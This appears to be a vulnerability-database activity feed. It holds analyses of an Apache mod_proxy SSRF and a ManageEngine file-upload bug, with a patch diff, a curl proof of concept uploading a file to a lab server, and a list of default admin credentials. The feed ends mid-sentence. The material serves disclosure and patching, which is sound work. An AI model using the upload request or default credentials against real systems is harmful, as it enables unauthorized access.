Activity Feed

2
Ratings
  • Attacker Value
    High
  • Exploitability
    High
Technical Analysis

This is an interesting bug that allows one to exploit a bug in the mod_proxy add on module of Apache HTTP server 2.4.48 and earlier to perform a server side request forgery (SSRF) attack and force the server to make requests on the attacker’s behalf. It was discovered by the Apache HTTP security team whilst analyzing CVE-2021-36160.

This is already being exploited in the wild as noted at https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-270312-10F2.pdf with evidence that in at least one case, attackers were able to obtain hash values of user credentials from victim systems via this attack.

There is also evidence that this might affect Cisco products that bundle Apache HTTP Servers with them as noted at https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-httpd-2.4.49-VWL69sWQ however investigation is still ongoing on this matter by Cisco at the time of writing, with the only product confirmed as not being vulnerable listed as Cisco Virtual Topology System.

In general SSRF vulnerabilities are very valuable to attackers as they not only allow access to the internal network of a target, but they can disguise their requests as coming from a legitimate web server that the network trusts. This often means that there is more trust placed in these requests which sometimes means less security checks are placed on them.

It is also important to note that whilst this vulnerability does require the mod_proxy module to be loaded, this is an very common module for most servers and so it is likely to be loaded, increasing the likelihood that an outdated Apache server is vulnerable to this attack.

In short, this bug is being exploited in the wild, allows unauthenticated attackers a way to make trusted requests to internal endpoints, and has been used to steal hashed credentials in a real world attack. Whilst true impact will likely depend on the way the target network is configured and what vulnerabilities are on the systems accessible via the target web server, this vulnerability alone is already providing attackers a lot more insight into a target network through a very common server setup, and therefore should be patched as soon as possible.

1
Ratings
Technical Analysis

The affected endpoint is /RestAPI/WC/NotificationTemplate/attachFiles with parameter UPLOADED_FILE. The vulnerability can be exploited as the SYSTEM user if the server is started as a service.

Patch

File(name) extension is now validated against an allowlist.

+		<url path="/RestAPI/WC/NotificationTemplate/attachFiles" method="post" dynamic-params="true" csrf="true">
+			<file name="UPLOADED_FILE" content-type-name="notificationTemplateAttachments" max-size="25600" allowed-extensions="jpg,jpeg,gif,bmp,ico,png,csv,pdf,html,xls,xlsx">
+				<filename regex="allowedFileNameChars" max-len="255"/>
+			</file>
+		</url>
   public String attachFiles(HttpServletRequest request, HttpServletResponse response) throws Exception {
     JSONObject responseObj = new JSONObject();
     ADSResourceBundle rb = null;
     Long userId = ObjectFactory.getInstance().getUserAdapter().getUserId();
     try {
       rb = I18N.getInstance().getBundle(userId);
       JSONObject fileDetails = FileUtil.getFileFromRequest(request, "UPLOADED_FILE");
       if (fileDetails.has("FILE_NAME") && fileDetails.has("FILE")) {
-        String directory = NotificationTemplateHandler.getInstance().getRelativeEmberAppDirectory();
-        String fileName = System.currentTimeMillis() + "_" + fileDetails.optString("FILE_NAME", null);
-        InputStream is = null;
-        OutputStream os = null;
-        try {
-          File inputFile = (File)fileDetails.get("FILE");
-          is = new FileInputStream(inputFile);
-          os = ObjectFactory.getInstance().getFileAdapter().writeCommonFile(directory + fileName);
-          byte[] buffer = new byte[(int)inputFile.length()];
-          int length;
-          while ((length = is.read(buffer)) > 0)
-            os.write(buffer, 0, length);
-        } catch (Exception fileException) {
-          logger.log(Level.INFO, "Exception while file operations", fileException);
-        } finally {
-          if (is != null)
-            is.close();
-          if (os != null)
-            os.close();
+        boolean isValidfileExtension = FileUtil.validateImageFileExtension(fileDetails.optString("FILE_NAME"), 5000L);
+        if (isValidfileExtension) {
+          String directory = NotificationTemplateHandler.getInstance().getRelativeEmberAppDirectory();
+          String fileName = System.currentTimeMillis() + "_" + fileDetails.optString("FILE_NAME", null);
+          InputStream is = null;
+          OutputStream os = null;
+          try {
+            File inputFile = (File)fileDetails.get("FILE");
+            is = new FileInputStream(inputFile);
+            os = ObjectFactory.getInstance().getFileAdapter().writeCommonFile(directory + fileName);
+            byte[] buffer = new byte[(int)inputFile.length()];
+            int length;
+            while ((length = is.read(buffer)) > 0)
+              os.write(buffer, 0, length);
+          } catch (Exception fileException) {
+            logger.log(Level.INFO, "Exception while file operations", fileException);
+          } finally {
+            if (is != null)
+              is.close();
+            if (os != null)
+              os.close();
+          }
+          String fileURL = NotificationTemplateHandler.getInstance().getWebAppContext() + File.separator + fileName;
+          responseObj.put("FILE_NAME", fileName);
+          responseObj.put("FILE_URL", fileURL);
+          responseObj.put("sSTATUS", rb.getString("ads.notification_template.files_attach.success"));
         }
-        String fileURL = NotificationTemplateHandler.getInstance().getWebAppContext() + File.separator + fileName;
-        responseObj.put("FILE_NAME", fileName);
-        responseObj.put("FILE_URL", fileURL);
-        responseObj.put("sSTATUS", rb.getString("ads.notification_template.files_attach.success"));
       } else {
         responseObj.put("eSTATUS", rb.getString("ads.notification_template.files_attach.error"));
       }
     } catch (Exception e) {
       responseObj.put("eSTATUS", rb.getString("ads.notification_template.files_attach.error"));
       logger.log(Level.INFO, e.getMessage(), e);
     }
     CommonUtil.setResponseText(response, responseObj.toString());
     return null;
   }
 package com.manageengine.ads.fw.common.util;

 import com.adventnet.iam.security.SecurityRequestWrapper;
+import com.adventnet.iam.security.UploadFileRule;
 import com.adventnet.iam.security.UploadedFileItem;
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.InputStreamReader;
 import java.util.List;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 import javax.servlet.http.HttpServletRequest;
 import org.apache.commons.fileupload.FileItem;
 import org.apache.commons.fileupload.FileItemFactory;
 import org.apache.commons.fileupload.disk.DiskFileItemFactory;
 import org.apache.commons.fileupload.servlet.ServletFileUpload;
 import org.apache.commons.io.FilenameUtils;
 import org.json.JSONObject;

 public class FileUtil {
   private static Logger logger = Logger.getLogger("ADSLogger");

+  public static final String[] DEFAULT_IMAGE_EXTENSION = new String[] {
+      "jpg", "png", "gif", "jpeg", "tiff", "pjp", "pjpeg", "jfif", "tif", "svg",
+      "bmp", "svgz", "webp", "ico", "xbm", "dib" };
+
+  public static final String[] DEFAULT_ZIP_EXTENSION = new String[] { "zip" };
+
+  public static final String[] DEFAULT_ICON_EXTENSION = new String[] { "ico" };
+
+  public static final String DEFAULT_FILE_NAME_REGEX = "^[a-zA-Z0-9._ -]+$";
+
   public static JSONObject getFileFromRequest(HttpServletRequest httpServletRequest, String paramName) {
     JSONObject json = new JSONObject();
     File file = null;
     String fileName = null;
     Long fileSize = null;
     try {
       if (ServletRequestHandler.isInstanceOfSecurityWrapper(httpServletRequest)) {
         SecurityRequestWrapper secrequest = (SecurityRequestWrapper)httpServletRequest;
         UploadedFileItem item = secrequest.getMultipartParameter(paramName);
         if (item != null) {
           file = item.getUploadedFile();
           fileName = item.getFileName();
           fileSize = Long.valueOf(item.getFileSize());
         }
         json.put("FILE", file);
         json.put("FILE_NAME", fileName);
         json.put("FILE_SIZE", fileSize);
       } else {
         List<FileItem> multiparts = (new ServletFileUpload((FileItemFactory)new DiskFileItemFactory())).parseRequest(httpServletRequest);
         json = getFileFromMultipartRequest(multiparts, paramName);
       }
     } catch (Exception e) {
       logger.log(Level.INFO, "Error in getting the file from request ");
     }
     return json;
   }

   public static String getFileContent(File file, String delimiter) {
     BufferedReader bufRead = null;
     String ret = null;
     try {
       StringBuffer outBuf = new StringBuffer();
       InputStreamReader is = new InputStreamReader(new FileInputStream(file), "UTF-8");
       bufRead = new BufferedReader(is);
       boolean startWrite = false;
       String line = bufRead.readLine();
       while (line != null) {
         if (delimiter != null && !delimiter.equals("")) {
           if (line.contains(delimiter))
             startWrite = true;
           if (startWrite)
             outBuf.append(line);
           if (line.contains("/" + delimiter))
             startWrite = false;
         } else {
           outBuf.append(line);
         }
         line = bufRead.readLine();
       }
       ret = outBuf.toString();
     } catch (Exception e) {
       logger.log(Level.INFO, "", e);
     } finally {
       try {
         if (bufRead != null)
           bufRead.close();
       } catch (Exception e) {
         logger.log(Level.INFO, "Error : " + e);
       }
     }
     return ret;
   }

   public static JSONObject getFileFromMultipartRequest(List multiparts, String paramName) {
     JSONObject file = new JSONObject();
     try {
       for (FileItem item : multiparts) {
         if (!item.isFormField() && item.getFieldName().equals(paramName)) {
           String fileName = FilenameUtils.getName(item.getName());
           File storeFile = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName);
           storeFile.deleteOnExit();
           item.write(storeFile);
           file.put("FILE", storeFile);
           file.put("FILE_NAME", fileName);
           file.put("FILE_SIZE", item.getSize());
           break;
         }
       }
     } catch (Exception e) {
       e.printStackTrace();
     }
     return file;
   }
+
+  public static boolean validateFileExtension(String fileName, String fieldName, String allowedContentTypeName, long maxSizeInKB, String[] allowedExtensions, String xssPattern, String fileNameRegex) {
+    if (fileName != null) {
+      UploadFileRule uploadFileRule = new UploadFileRule(fieldName, allowedContentTypeName, maxSizeInKB, allowedExtensions, xssPattern, fileNameRegex);
+      return uploadFileRule.validateExtension(fileName);
+    }
+    return false;
+  }
+
+  public static boolean validateFileExtension(String fileName, String fieldName, String allowedContentTypeName, long maxSizeInKB, String[] allowedExtensions) {
+    return validateFileExtension(fileName, fieldName, allowedContentTypeName, maxSizeInKB, allowedExtensions, null, "^[a-zA-Z0-9._ -]+$");
+  }
+
+  public static boolean validateImageFileExtension(String fileName, long maxfileSizeInKB) {
+    return validateFileExtension(fileName, "IMAGE_FILE", "image", maxfileSizeInKB, DEFAULT_IMAGE_EXTENSION, null, "^[a-zA-Z0-9._ -]+$");
+  }
+
+  public static boolean validateZipFileExtension(String fileName, long maxfileSizeInKB) {
+    return validateFileExtension(fileName, "ZIP_FILE", "zip", maxfileSizeInKB, DEFAULT_ZIP_EXTENSION, null, "^[a-zA-Z0-9._ -]+$");
+  }
+
+  public static boolean validateIconFileExtension(String fileName, long maxfileSizeInKB) {
+    return validateFileExtension(fileName, "ICON_FILE", "icon", maxfileSizeInKB, DEFAULT_ICON_EXTENSION, null, "^[a-zA-Z0-9._ -]+$");
+  }
 }

PoC

Note that I’ve already logged in. Default accounts/creds are available.

wvu@kharak:~$ curl -vb JSESSIONIDADSMSSO=0547AC6728E5FE0977DBF5F9D2A61892 http://172.16.57.222:8080/RestAPI/WC/NotificationTemplate/attachFiles -F "UPLOADED_FILE=@-;filename=foo.txt" <<<bar
*   Trying 172.16.57.222:8080...
* Connected to 172.16.57.222 (172.16.57.222) port 8080 (#0)
> POST /RestAPI/WC/NotificationTemplate/attachFiles HTTP/1.1
> Host: 172.16.57.222:8080
> User-Agent: curl/7.80.0
> Accept: */*
> Cookie: JSESSIONIDADSMSSO=0547AC6728E5FE0977DBF5F9D2A61892
> Content-Length: 198
> Content-Type: multipart/form-data; boundary=------------------------98cb9d38d953de55
>
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Set-Cookie: JSESSIONIDADMP=3EEABEA724F597559A78BE12A903D6C1; Path=/; HttpOnly
< Cache-Control: no-cache, no-store
< Pragma: no-cache
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-XSS-Protection: 1; mode=block
< Strict-Transport-Security: max-age=31536000 ; includeSubDomains
< vary: accept-encoding
< Content-Type: text/html;charset=UTF-8
< Content-Length: 155
< Date: Mon, 29 Nov 2021 03:44:11 GMT
< Server: ADMP
<
* Connection #0 to host 172.16.57.222 left intact
{"sSTATUS":"Files are successfully attached.","FILE_NAME":"1638157451470_foo.txt","FILE_URL":"/ompemberapp/NotificationTemplates\\\\1638157451470_foo.txt"}wvu@kharak:~$
wvu@kharak:~$ curl -v http://172.16.57.222:8080/ompemberapp/NotificationTemplates/1638157451470_foo.txt
*   Trying 172.16.57.222:8080...
* Connected to 172.16.57.222 (172.16.57.222) port 8080 (#0)
> GET /ompemberapp/NotificationTemplates/1638157451470_foo.txt HTTP/1.1
> Host: 172.16.57.222:8080
> User-Agent: curl/7.80.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Set-Cookie: JSESSIONIDADMP=8F4512A6AB47CB362598575B9413CBBB; Path=/; HttpOnly
< X-XSS-Protection: 1; mode=block
< Strict-Transport-Security: max-age=31536000 ; includeSubDomains
< X-FRAME-OPTIONS: SAMEORIGIN
< Accept-Ranges: bytes
< ETag: W/"4-1638157451470"
< Last-Modified: Mon, 29 Nov 2021 03:44:11 GMT
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 4
< Date: Mon, 29 Nov 2021 03:45:33 GMT
< Server: ADMP
<
bar
* Connection #0 to host 172.16.57.222 left intact
wvu@kharak:~$

Default creds…

Please change all these creds! Only the admin account is clearly documented.

  • admin : admin
  • helpdesk : admin
  • hrassociate : admin
0
Technical Analysis

The patch bypass for this vulnerability is now being exploited in the wild as noted at https://blog.talosintelligence.com/2021/11/attackers-exploiting-zero-day.html. I have not labeled this bug as exploited in the wild though as the code noted below by @kevthehermit is an exploit for a variant of this bug, not this bug itself, however it is important to note that the bugs are related and no patch exists yet for the variant at the time of writing (November 24th 2021).

Indicated source as